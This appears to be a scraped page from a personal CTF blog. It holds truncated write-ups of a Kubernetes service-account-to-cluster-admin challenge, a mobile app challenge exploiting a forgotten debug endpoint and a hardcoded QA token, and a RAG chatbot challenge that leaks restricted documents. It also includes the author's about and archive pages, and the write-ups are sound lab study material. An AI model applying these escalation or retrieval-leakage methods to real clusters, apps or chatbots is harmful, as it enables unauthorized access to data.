The challenge is a Kubernetes container-registry portal. From a highly restricted service-account, the goal is to reach full cluster admin (system:masters) and read a secret containing the flag.

Step 1 — Obtain the player kubeconfig

The portal (a Next.js app fronting the k8s API server on the same host) exposes a downloadable, RBAC-restricted kubeconfig.

bash

curl -sk -o player-kubeconfig.yaml \
 https://registry.kube1.thesecuretrust.com/player-kubeconfig-external.yaml

It contains a service-account token for system:serviceaccount:securetrust-web:player-access-sa and the API server at https://registry.kube1.thesecuretrust.com, context namespace securetrust-web.

SecureTrust Mobile — Forgotten

Sat, 15 Aug 2026 00:00:00 +0000

Category: Mobile / Reverse Engineering Target: https://mobile.api.thesecuretrust.com Final Flag: UST_GenCyS_CTF{f9795057e85bee3b0a3b3857951270e1c043eb7b047c318c7d08b2411b4804e6}

Summary

The challenge presents a "QA" build of a mobile app. Solving it requires:

Reconnaissance of the API surface (including a forgotten debug endpoint).
Recovering a hardcoded QA token from the mobile app's configuration.
Redeeming the proof flag through a secondary claim endpoint to obtain the real flag.

Flag format confusion

The first flag received looks like the final one but is only a proof: GenCyS_PROOF{mobile-forgotten-7aeb1c3c01fd8da2108c8f06}

The Secure Trust Bank — RAG Data Leakage

Sat, 15 Aug 2026 00:00:00 +0000

Target: https://thesecuretrust.com/api/chat Flag: UST_GenCyS_CTF{R4G_M3m0ry_L34k}

Summary

This challenge demonstrates a RAG (Retrieval-Augmented Generation) data leakage vulnerability. An AI chatbot exposes restricted/classified documents through its retrieval layer, and the flag is reconstructed from three "security tokens" scattered across those documents.

Recon

Reconnaissance on the site reveals it is a Next.js application ("The Secure Trust Bank") with several API routes:

text

/api/chat <- AI chatbot (RAG)
/api/auth/login
/api/auth/logout
/api/download/apk
/api/download/ipa

A GET to /api/chat returns 405 Method Not Allowed. A POST without parameters returns:

About

Mon, 01 Jan 0001 00:00:00 +0000

Hi, I'm hotwater. I play capture-the-flag competitions and spend most of my free time staring at disassemblers, packet captures and half-broken binaries.

This site is my lab notebook: the challenges I solve, the dead ends I hit, and the tricks I want to remember next time. The flag is just the receipt — the writeup is the actual work.

Just getting started — Structuring the archive

Imported all of my private solve folders into this site so that every challenge from here on gets a public writeup with the full methodology.

Achievements

Mon, 01 Jan 0001 00:00:00 +0000

CTF Competitions

Mon, 01 Jan 0001 00:00:00 +0000

Search

Mon, 01 Jan 0001 00:00:00 +0000